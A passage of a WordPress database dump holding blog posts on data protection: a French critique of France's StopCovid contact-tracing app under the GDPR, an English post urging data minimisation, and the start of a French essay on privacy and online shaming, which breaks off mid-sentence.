application.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout d’abord, le gouvernement qui a rejeté le projet décentralisé <a href=\"https://www.apple.com/covid19/contacttracing\">d’Apple et de Google</a>, pour notamment des raisons de souveraineté que\nl’on comprend aisément, a du mal à obtenir leur collaboration. Cette position\nn’est pas simplement une position de mauvaise foi, en effet, l’ouverture de l’accès\nBluetooth met en danger les données personnelles des utilisateurs de\nsmartphones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En préliminaire, sachant que la propagation peut se faire par contact de\nquelques mètres, probablement jusqu’à 4 m, la mesure des distances par Bluetooth\na ses limites et manque de précision. Le Bluetooth pourrait transpercer des barrières\nque le virus ne transpercerait ou à l’inverse, le Bluetooth pourrait être\nobstrué par des barrières qui laisseraient le virus s’épendre. <a href=\"https://www.nu.nl/tech/6046965/bluetoothuitvinder-gebruik-bluetooth-voor-corona-app-niet-erg-nauwkeurig.html\">Aux dires de l’inventeur meme du Bluetooth</a>, cet instrument de mesure n’est pas suffisamment\nfiable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un certain nombre de spécialistes en cryptographie, sécurité ou droit des\ntechnologies ont soulevé de sérieuses réserves sur les multiples abus,\ndétournements et autres comportements malveillants qui pourraient émerger de ce\ntype de système. Voir à cet effet l’analyse d’impact publié par le Forum <a href=\"https://www.fiff.de/dsfa-corona-file-en/at_download/file\">InformatikerInnen für Frieden und\ngesellschaftliche Verantwortung (FIfF) e. V</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>b)-Par ailleurs, le fonctionnement du système\nimplique un accès permanent à la fonction de Bluetooth,</strong> ce qu’empêche iOS, le système\nd’exploitation mobile d’Apple, pour <a href=\"https://t.co/83EBI7LTg0?amp=1\">des raisons de confidentialité</a> et de gestion énergétique.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le secrétaire d’Etat lui-même n’a pas manqué de rappeler que les iPhones\nreprésentent 20% des mobiles en France, admettant que l’application StopCovid\nne pourra pas fonctionner correctement sur le mobile d’Apple. Il annonce avoir\ndemandé une dérogation spécifique au fabricant pour offrir au gouvernement un\naccès spécifique aux fonctions des iPhone. Une demande qui n’a pour le moment\npas abouti.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pour ce qui est des téléphones Android, plusieurs des dernières versions\nlimitent <a href=\"https://www.bfmtv.com/tech/coronavirus-comment-le-bluetooth-pourrait-aider-a-enrayer-l-epidemie-1886180.html\">l’usage du Bluetooth</a>. Par ailleurs, les smartphones iOS et\nAndroid, afin de gérer l’utilisation de leur mémoire vive, sont programmés pour\n“éteindre” les applications utilisées en arrière-plan, telle que pourrait\nl’être StopCovid, notamment sur les appareils les moins puissants. Un problème\nque le gouvernement devra également solutionner sans l’aide d’Apple et Google,\nles seuls à avoir la main sur les écosystèmes iOS et Android.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.numerama.com/tech/620777-stopcovid-dans-limpasse-cedric-o-confirme-que-la-france-se-lance-dans-un-bras-de-fer-avec-apple.html\">Numerama\nrapporte</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>‘</em><em>Cédric O a confirmé que la\nFrance choisissait le bras de fer avec Apple pour obtenir un passe-droit sur le\nBluetooth, au risque de mettre en danger la vie privée des utilisatrices et\nutilisateurs d\'iPhone. Sans cela, StopCovid ne fonctionnera pas.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.numerama.com/tech/620409-google-et-apple-detaillent-leur-contact-tracing-toujours-incompatible-avec-stopcovid.html\">Google\net Apple détaillent leur outil de contact tracing, toujours incompatible avec\nStopCovid</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>Apple et Google ont précisé les évolutions\napportées à leur interface de programmation permettant de faire du contact\ntracing par application. Sécurisée et personnalisable, elle ne permettra\npourtant pas aux États de greffer un protocole maison complet par dessus.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>c)- Les applications de traçage doivent pouvoir\névaluer précisément la distance d’une personne.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il est à craindre que de fausses alertes puissent être détectées notamment\nà travers un mur. Cette margine d’erreur représente en soi un danger notamment\npour des personnes âgées ou présentant des pathologies préexistantes, tant sur\nle point de la santé que l’impact socio-économique d’un tel signalement abusif.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>d)- Il faut néanmoins s’attendre à des\ndétournements d’une telle technologie</strong>, quels que soient les détails de sa mise en œuvre et les garanties\npromises.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.laquadrature.net/2020/04/14/nos-arguments-pour-rejeter-stopcovid/\">La Quadrature du Net</a>, de son coté, n’a pas manqué d’alerter les pouvoirs publics sur les risques inhérents à ce type de surveillance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>III- La question majeure est ici de savoir si la\nprotection des données collectées peut être d’une part garantie et d’autre\npart, permettre d’atteindre le but poursuivi.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Les différents\nsystèmes existants&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.huffingtonpost.fr/entry/la-chine-lance-une-appli-pour-tracer-les-malades-du-coronavirus_fr_5e42b411c5b6bb0ffc18acfe\">Le système Chinois basé sur la géolocalisation</a></li><li><a href=\"https://github.com/DP-3T/documents\">Le protocole DP3T</a> (sous diverses variantes), sa déclinaison par l’alliance <a href=\"https://www.apple.com/covid19/contacttracing\">Apple/Google</a> , <a href=\"https://www.zdnet.fr/actualites/dp3t-pact-et-consorts-les-protocoles-de-contact-tracing-se-multiplient-39902703.htm\">Le protocole PACT- Est</a> , </li><li><a href=\"https://pact.mit.edu/\">Le protocole PACT-Ouest</a> , </li><li><a href=\"https://github.com/TCNCoalition/TCN\">Le protocole TCN</a> , </li><li><a href=\"https://www.zdnet.fr/actualites/l-inria-degaine-robert-son-protocole-pour-le-contact-tracing-39902499.htm\">Le protocole ROBERT</a> .&nbsp;</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:image {\"id\":719} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/COVID_PEPP.png\" alt=\"\" class=\"wp-image-719\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Les acronymes de\nla plupart des systèmes mentionnés précédemment promettent de «<em>respecter la\nvie privée des utilisateurs</em>». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La différence majeure réside entre les systèmes centralisés ou non centralisés. «&nbsp;<em>Dans une approche décentralisée, ces opérations sont réalisées sur l’appareil de l’utilisateur et les informations transmises au serveur central sont limitées au maximum. Dans le cas d’un protocole décentralisé comme DP3T par exemple, les utilisateurs génèrent eux même les crypto-identifiants sur les téléphones et les échangent via bluetooth lors d’une interaction prolongée. Lorsqu’un utilisateur est infecté, il déclare auprès du serveur central la liste des identifiants rencontrés récemment. Les autres utilisateurs vont périodiquement télécharger depuis le serveur central cette liste d’identifiants ayant rencontré une personne infectée et comparer avec la liste stockée sur leur appareil afin d’indiquer à l’utilisateur si oui ou non il a pu être exposé. D’autres protocoles reposant sur des choix d’architecture similaire ont également vu le jour, tel que TCN ou encore PACT.&nbsp;» </em>explique Louis Adam de ZDNet<em>.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.conseil-national.medecin.fr/publications/communiques-presse/enjeux-tracage-numerique\">Dans son Avis le Conseil national de l\'Ordre des médecins sur les enjeux du traçage numérique</a>&nbsp;rappelle&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong><em>L\'efficacité d’une application</em></strong><em>&nbsp;de suivi des interactions sociales repose sur une utilisation importante au niveau populationnel, nécessitant un équipement par smartphone. L’Ordre s’interroge également sur son efficacité au regard de la fracture numérique et générationnelle. Son déploiement doit en outre être associé à une stratégie de dépistage massif.</em></li><li><em>L’enregistrement des données médicales ne doit pas être alimenté par le médecin et il ne doit pas y avoir de croisement possible des données avec un fichier de santé. L’anonymat doit être garanti pour l’enregistrement des données et la conservation de celles-ci doit être limitée dans le temps sans interconnexion de fichiers.</em></li><li><em>Dans ces conditions, dans le respect de la réglementation en vigueur et des préconisations de la CNIL, un tel traçage peut présenter un intérêt intégré à l’ensemble du processus de déconfinement mais il ne peut en être l’élément central.<br>&nbsp;</em><strong><em>Le «&nbsp;tracking&nbsp;»</em></strong><em>&nbsp;correspond à un traçage systématique des déplacements des personnes. Il ne repose pas sur l’adhésion de la personne et comporte une obligation de déclarer son état de santé. Il&nbsp; repose sur un système de géolocalisation, n’apportant aucune garantie au regard des libertés individuelles à préserver. Opposable à un citoyen pour sa prise en charge il pourrait de plus, être interconnectable avec d’autres fichiers. Il s’agit d’une méthode trop liberticide par rapport à la protection des libertés individuelles.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Reste à savoir à quel moment un individu est diagnostiqué et surtout qui et\ncomment va notifier les contacts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Comment garantir l’anonymat ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les fichiers sont&nbsp;pseudonymisés, pouvant être désanonymisés à l’aide d’autres\ninformations comme celles collectées par les antennes Bluetooth ou encore par\nadresse IP.&nbsp;D’où les conditions d’application du RGDP et non le ePrivacy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les&nbsp;données&nbsp;à&nbsp;caractère&nbsp;personnel&nbsp;qui&nbsp;ont&nbsp;fait&nbsp;l’objet&nbsp;d’une&nbsp;pseudonymisation&nbsp;et\nqui au surplus, s’agissant de données médicales sont de la catégorie des données\nsensibles qui ne peuvent en principe être traitées que sous certaines\nconditions strictes. Art. 9 [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Toute collecte de donnée met inévitablement en danger\nles données stockées. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>D’ores et déjà, plusieurs attaques informatiques ont ciblé des centres de\ncollecte de données. Une entreprise de recherche chinoise de première ligne\nCOVID-19 signalée piratée : les données sont maintenant sur le Dark Web&nbsp;<a href=\"https://www.forbes.com/sites/zakdoffman/2020/04/26/chinese-covid-19-detection-firm-just-got-hacked-data-for-sale-on-dark-web-new-report/\">reporte le Magazine Forbes</a> ; ou bien <a href=\"https://www.bloomberg.com/news/articles/2020-04-21/top-officials-at-world-health-organization-targeted-for-hacks\">le\nsite de l’OMS</a> comme reporte par <a href=\"https://www.scmagazine.com/home/security-news/hijacked-routers-and-attempted-who-hack-highlight-latest-covid-19-attacks/\">SC Magazine</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>L’accès à ces données pourra représenter un danger\nnon négligeable.</strong> Une\nexploitation criminelle n’est pas exclue avec des conséquences socio-économiques\nimportantes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le simple fait d’activer le Bluetooth, et donc d’exposer l’accès aux données\ndu téléphone, pose des <a href=\"https://www.gqmagazine.fr/lifestyle/article/pourquoi-il-vaut-vraiment-desactiver-le-bluetooth-quand-vous-ne-lutilisez-pas\">problèmes\nde sécurité et de respect de la vie privée</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les chercheurs français mettent en garde contre les applications de traçage</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Toutes ces applications induisent en fait des risques\ntrès importants quant au respect de la vie privée et des libertés\nindividuelles. L\'un d’entre eux est la surveillance de masse par des acteurs\nprivés ou publics, contre laquelle l\'Association Internationale de Recherche en\nCryptologie (IACR) s\'est engagée à travers la&nbsp;</em><a href=\"https://www.iacr.org/misc/statement-May2014.html\"><em>résolution de\nCopenhague</em></a><em>. Cette surveillance de masse peut être effectuée via la\ncollecte du graphe des interactions entre les individus, le graphe social. Elle\npeut intervenir au niveau des systèmes d’exploitation (OS) des téléphones\nportables. Non seulement les producteurs d\'OS pourraient reconstruire le graphe\nsocial, mais l’État aussi, plus ou moins facilement suivant les solutions proposées.</em><em></em></li><li><em>De\nnombreux autres risques existent, variables suivant les choix techniques, dont\npar exemple le géo-traçage d\'individus, et la levée de l\'anonymat des malades\npar des entités ou par les fournisseurs d\'accès internet (voir notamment&nbsp;</em><a href=\"https://risques-tracage.fr/\"><em>https://risques-tracage.fr/</em></a><em>). Les\nrisques d\'atteinte à la vie privée liés aux technologies Bluetooth sont\nreconnus depuis bien avant la crise sanitaire, c\'est la raison pour laquelle\nles OS en restreignent fortement l\'utilisation par les applications.</em></li><li><em>Il est\ncrucial que le bénéfice sanitaire d\'une solution numérique soit analysé en\nprofondeur par des spécialistes, et suffisamment avéré et important pour\njustifier les dangers encourus. Si le principe de déploiement d’une telle application\ndevait être adopté malgré les dangers, une transparence complète est attendue\ndans son développement et son déploiement: tous les choix techniques doivent\nêtre documentés, argumentés et assumés par les parties responsables; le\nprotocole et son implémentation doivent être documentés, publics et faire\nl\'objet d\'audits indépendants.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>“<em>Plusieurs chercheurs (dont certains de l’Inria)&nbsp;<a href=\"https://risques-tracage.fr/\" target=\"_blank\" rel=\"noreferrer noopener\">ont publié sur un site web\ndes exemples de la façon dont ces applications de contact tracing, centralisées\nou non, pouvaient être utilisées à des fins malveillantes</a>. Cette série\nd’exemples vient mettre en lumière les risques liés au déploiement de ces technologies\net les dérives possibles qu’elles pourraient occasionner. On finira donc\npeut-être par voir arriver l’application StopCovid promise par le gouvernement\nfrançais il y a maintenant trois semaines, mais le chemin risque encore d’être\nlong…”</em> <a href=\"https://www.zdnet.fr/actualites/dp3t-pact-et-consorts-les-protocoles-de-contact-tracing-se-multiplient-39902703.htm\">reporte\nZDNet.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Au 24 avril, le Conseil d\'Etat était saisi&nbsp;de 151&nbsp;requêtes, il a\nd\'ores et déjà rendu 85 décisions. On dénombre 76 rejets (58 au tri ou sans\naudience soit 76%), 6 non-lieux/désistements, 2 annulations de décisions TA\n&amp; 1 satisfaction partielle durcissant la mesure...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pour la Quadrature du Net «<em>StopCovid est un projet désastreux piloté par\ndes apprentis sorciers </em>»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Au vu d’une multitude de mise en garde, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nous apprenons que finalement, la mise en route du\nprojet aurait été retardée.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><a href=\"https://www.lemonde.fr/pixels/article/2020/04/28/edouard-philippe-reporte-le-debat-parlementaire-sur-l-application-stopcovid_6038032_4408996.html\">A\nlire&nbsp;: l’annonce du Premier Ministre.</a></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.euractiv.com/authors/samuel-stolton/\">Samuel Stolton</a> d’<a href=\"https://www.euractiv.com/content_providers/euractiv-com/\">EURACTIV</a> rapporte :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La nouvelle survient alors que le Conseil de l\'Europe a averti ce mardi 28\navril des effets secondaires négatifs de l\'utilisation de certaines\napplications mobiles, déclarant que des évaluations d\'impact de l\'efficacité de\nces technologies devraient être effectuées avant leur utilisation. Plusieurs organisations\nde défense des droits ont lancé des appels à la mise en œuvre d\'une approche\ndécentralisée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>«<em>Les systèmes de traçage des contacts numériques devraient être basés\nsur une architecture qui repose autant que possible sur le traitement et le\nstockage des données sur les appareils des utilisateurs individuels</em>», a\nécrit le CdE, mais a ajouté que des vulnérabilités existent toujours dans les\ndeux protocoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'eurodéputé vert et avocat Sergey Lagodinskyinsiste insiste sur le fait\nque ces types de technologies de recherche des contacts «<em>ne peuvent être\npris en charge que si les données sont collectées avec le consentement de\nl\'utilisateur, affectées à des fins spécifiques, pour une durée limitée\nuniquement, et si ces données sont stockées de manière décentralisée.</em> »</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les ministres de la santé de l\'UE se sont réunis en visioconference avec la\ncommissaire à la santé Stella Kyriakides, le chef du marché intérieur Thierry\nBreton et le commissaire à la justice Didier Reynders pour discuter de la\nmanière dont les solutions numériques pourraient être mises à profit pour\nretracer la propagation du virus, dans le but de ``<em>désamorcer</em>\'\' les\nmesures de confinement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"<em>Alors que certains États membres ont déjà des applications\nfonctionnelles en place, dans la plupart des États membres, elles sont toujours\nen cours de développement</em>\", a déclaré une lecture de la Commission,\najoutant que les pays ont appelé le bloc à assurer l\'interopérabilité dans les\napplications de traçage des contrats mises en place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans le cadre d\'un récent ensemble d\'orientations convenu entre la\nCommission et les États membres, surnommé la ``<em>boîte à outils commune de\nl\'UE pour les États membres pour les applications mobiles dans la lutte contre\nle COVID-19</em>\'\', le bloc a mis en garde contre le traitement et le stockage\ndes données de localisation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le document recommande également que les technologies ne soient utilisées\nque sur une base volontaire et doivent mettre en œuvre des technologies\nrespectueuses de la vie privée en utilisant uniquement des données anonymisées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>IV – Le Contexte Européen</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ailleurs en Europe, le <a href=\"https://www.numerama.com/tech/620121-coronavirus-la-belgique-renonce-a-une-application-de-tracage-des-malades.html\" target=\"_blank\" rel=\"noreferrer noopener\">gouvernement belge\nvient de renoncer</a>&nbsp;à\nla mise en place d\'une telle application, \'<a href=\"https://www.numerama.com/politique/620279-israel-narrete-pas-de-geolocaliser-les-malades-du-coronavirus-mais-ne-les-traque-plus-dans-la-rue.html\" target=\"_blank\" rel=\"noreferrer noopener\">Israël a infléchi sa\npolitique</a>&nbsp;en la\nmatière et que la Suisse envisage d\'installer un système plus décentralisé, en France,\nla CNIL (Commission Nationale Informatique et Libertés) a&nbsp;<a href=\"https://www.lemonde.fr/pixels/article/2020/04/26/stopcovid-etre-prets-le-11-mai-sera-un-defi-selon-cedric-o_6037789_4408996.html\" target=\"_blank\" rel=\"noreferrer noopener\">demandé hier au\ngouvernement un certain nombre de garanties supplémentaires</a>&nbsp;en matière de protection de la vie\nprivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’Angleterre <a href=\"https://www.itpro.co.uk/security/privacy/355460/nhs-rejects-apple-and-googles-decentralised-contact-tracing-app\">a rejeté la solution de Apple et Google</a> et souhaite adopter un système centralisé\nNHSx proche de la France. Des auditions d’experts ont eu lieu ce jour.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’Allemagne opterait plutôt pour le système décentralisé Apple et Google.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>EN CONCLUSION</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il reste enfin que la question du coût de tels projets reste inconnu rendant l’évaluation de leur légitimité encore plus difficile. Il est à penser que cette épidémie qui a été la cause de la mise à l’arrêt volontaire de l’économie mondiale et ses graves conséquences à venir sur les entreprises, n’aurait pas pris de telles proportions en présence d\'un système de santé cohérent et préparé à une telle épidémie qui a dégénéré en pandémie sans qu’aucune démocratie n’ait prévue qu’elle puisse franchir ses frontières … </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La transparence et un control régulier de la CNIL sont en tous cas essentiel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La\nbalance de la bascule de l’équilibre qu’impose le traçage, comme l’une des\nmesures aidant au combat contre la propagation non maîtrisée de ce virus, aurait\nimposé plus de rigueur pour démontrer la proportionnalité de l\'atteinte aux\nprotections de la vie privée causées par l\'Etat d\'Urgence Sanitaire. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le danger est ce que la Présidence de la CNIL appelle une accoutumance au tracking. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lorsque\nle génie sort de la bouteille il devient bien difficile de l’y renfermer et les\nréticences d’Apple sur l’immixtion dans son système d’exploitation en dit long.</p>\n<!-- /wp:paragraph -->','STOP-COVID Combattre la Pandémie Sans Infecter la Démocratie',' mardi 28 Avril 2020, le Premier Ministre Edouard Philippe a été entendu devant le Sénat notamment pour le projet STOP-COVID préparant la sortie du confinement imposé par la pandémie du COVID-19','publish','closed','closed','','stop-covid-combattre-la-pandemie-sans-perdre-la-democratie','','','2020-11-26 19:53:04','2020-11-26 19:53:04','',0,'http://datarainbow.eu/?p=716',0,'post','',0),(807,1,'2020-03-04 11:38:30','2020-03-04 11:38:30','<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An all time easy advice</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lets reflect on two decades of mass collection of data. Massive amount of data necessarily means inaccurate data. Data storage equals data risk. Data risk equal liabilities. Data breach notification needs a fast response within 72 hours. More sensitive the data stored, higher the liability. We are awaiting the class actions in the UK, Lloyd v Google, several others in the EU and the latest in the US against&nbsp;<a href=\"https://www.linkedin.com/pulse/french-court-said-facial-recognition-technology-tara/\" target=\"_blank\" rel=\"noreferrer noopener\">ClearviewAI</a>. Data breach causes harm and loss of control that call for compensation. Nearly everyday we hear the breaking news of a new data breach. It is no more IF but WHEN data breach occurs. It happpens to big organisations as well as small ones.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So in that context, why collecting unnecessary data?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I still hear stories of Data Controllers asking for ID card to respond to a Subject Access Request. Professional Associations, even lawyers, asking for ID card to process documents or key access. I just want to remind of one of the key principals of the GDPR that can keep away from many troubles : DATA MINIMISATION.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consider personal data as a hot potato.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Do not collect if you don\'t necessarily need it. Do not keep it longer than necessary, Do not share it with third parties with whom you\'ll become co-controller and therefore liable (Think of all these third parties accessing your visitors data such as Google Analytics or Facebook); Purpose limitation means do not process the personal data for further purposes ; You ought to keep the data accurate, secure and no longer than necessary. Less data you collect and keep, better you are.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here is an ECJ Advocate General opinion on the validity of consent in the context of the provision of a copy of ID cards required from customers. Why should a telco company need to require to keep ID documents? read more&nbsp;<a href=\"https://datarainbow.eu/2020/03/04/consumer-contracts-and-the-validity-of-consent/\" target=\"_blank\" rel=\"noreferrer noopener\">here</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->','Consider Personal Data as A Hot Potato','An all time easy advice','publish','closed','closed','','consider-personal-data-as-a-hot-potato','','','2021-07-31 23:26:10','2021-07-31 23:26:10','',0,'https://datarainbow.eu/?p=807',0,'post','',0),(810,1,'2020-05-02 12:48:30','2020-05-02 11:48:30','<!-- wp:paragraph -->\n<p><strong>POURQUOI LE RESPECT DE LA VIE PRIVEE EST UNE IMPERATIVE</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans son ouvrage « Delete: The Virtue of Forgetting in the Digital Age », Viktor Mayer-Schonberger du Berkman Klein Center of Internet and Society, expose l’ombre permanente qui nous suit en ligne pour toujours. Les problèmes de dignité humaine et de liberté qui en découlent et sa solution suggérée : suppression automatique des fichiers par date d’expiration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rétablir le paramètre par défaut, du souvenir à l’oubli.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les parcelles d’informations éparses se regroupent et construisent une image, parfois déformée, qui nous poursuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon la théorie de la conservation de l’énergie, les données ont une durée de vie trompeusement longue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rien n’est effacé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Comme le souligne Viktor Mayer-Schonberger, le projet de génocide de la Stasi allemande aurait pris une toute autre dimension, et bien apocalyptique, si les capacités de recherches sur Google et l’indexation des données avaient existé à l’époque.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il mentionne le cas du registre des citoyens néerlandais mis en place dans les années 1930. Pour assurer l’administration des titres sociaux, il comprenait les donnes de religion et d’ethnicité. Une fois que les nazis ont occupé les Pays-Bas, ils ont exploité le registre pour identifier les juifs à déporter et à envoyer dans des camps de concentration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un autre grand spécialiste de la vie privée, le professeur Daniel Solove, oeuvre activement à sensibiliser sur les questions de protection des données et les conséquences de la réputation en ligne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Son article, «Je n’ai rien à cacher» et autres malentendus sur la confidentialité, explique pourquoi le respect de la vie privée est important. Il a plus amplement développé ses idées dans un essai : Rien à cacher: le faux compromis entre la vie privée et la sécurité.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si vous continuez à penser que les seules personnes qui devraient s’inquiéter sont celles qui font quelque chose d’immorale ou d’illégale, vous devriez lire les essais et livres du Professeur Solove. Avec la masse de données et l’omni-surveillance ambiante (constante surveillance), la situation n’est pas seulement Orwellienne, mais kafkaïenne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans une série de vidéos et de conférences YouTube, le Professeur Daniel Solove attire l’attention du public sur les cas de harcèlement en ligne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La fille ‘Dog Pooh’ est l’histoire d’une pauvre fille. Elle est avec son chien dans le métro de la banlieue Sud-Coréenne. Le chien fait ses besoins dans le train, elle est pressée, elle quitte le train en refusant de nettoyer derrière. Autrefois, cela aurait été la fin de l’incident. Aujourd’hui, lorsque la persuasion en face à face échoue, il existe un plan B : l’humiliation anonyme sur Internet. Le témoin qui l’a enregistrée avec son smartphone, a mis en ligne la vidéo honteuse. En quelques jours, son identité et son passé ont été révélés. La vidéo devient alors virale à travers le monde. Des affiches et toutes sortes de plaisanteries s’ensuivent. Les médias ont relaté l’incident. Même le Washington Post américain a publié son histoire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Elle a finalement atteint une renommée mondiale qu’elle aurait souhaité n’avoir jamais atteinte. Pour toujours, cette image la suivra. Cette fille sera reconnue comme la ‘<em>Dog Pooh Girl’</em> ‘la fille à la crotte de chien’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Une autre illustration, la triste histoire du ‘<em>Star Wars Kid’</em>. Un jeune garçon, un peu enrobé, au Canada. Il publie une vidéo de lui-même en ligne le montrant dans sa tentative, plutôt infructueuse, d’imiter George Lucas, célèbre star du cinéma. Sa vidéo a été regardée par des dizaines de millions d’internautes qui ont commenté et largement moqué son geste. Il a été moqué par le monde entier.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un incident d’enfance qui le suivra pour toujours.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Daniel Solove s’interroge alors sur l’avenir de la réputation à l’ère numérique et comment les données peuvent nous poursuivre.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il écrit : « <em>Si l’Empire de Star Wars avait le Big Data, l’Empire aurait gagné. Une recherche de documents aurait révélé où Luke Skywalker vivait sur Tatooine. Une collecte et une agrégation plus efficaces des enregistrements Jawa auraient permis de localiser immédiatement les droïdes. Une simple analyse des données aurait révélé que Ben Kenobi était vraiment Obi Wan Kenobi. Une recherche dans les registres de naissance aurait révélé que la princesse Leia était la sœur de Luke. Si l’Empire avait eu quelque chose comme la NSA, il aurait eu toutes les données dont il avait 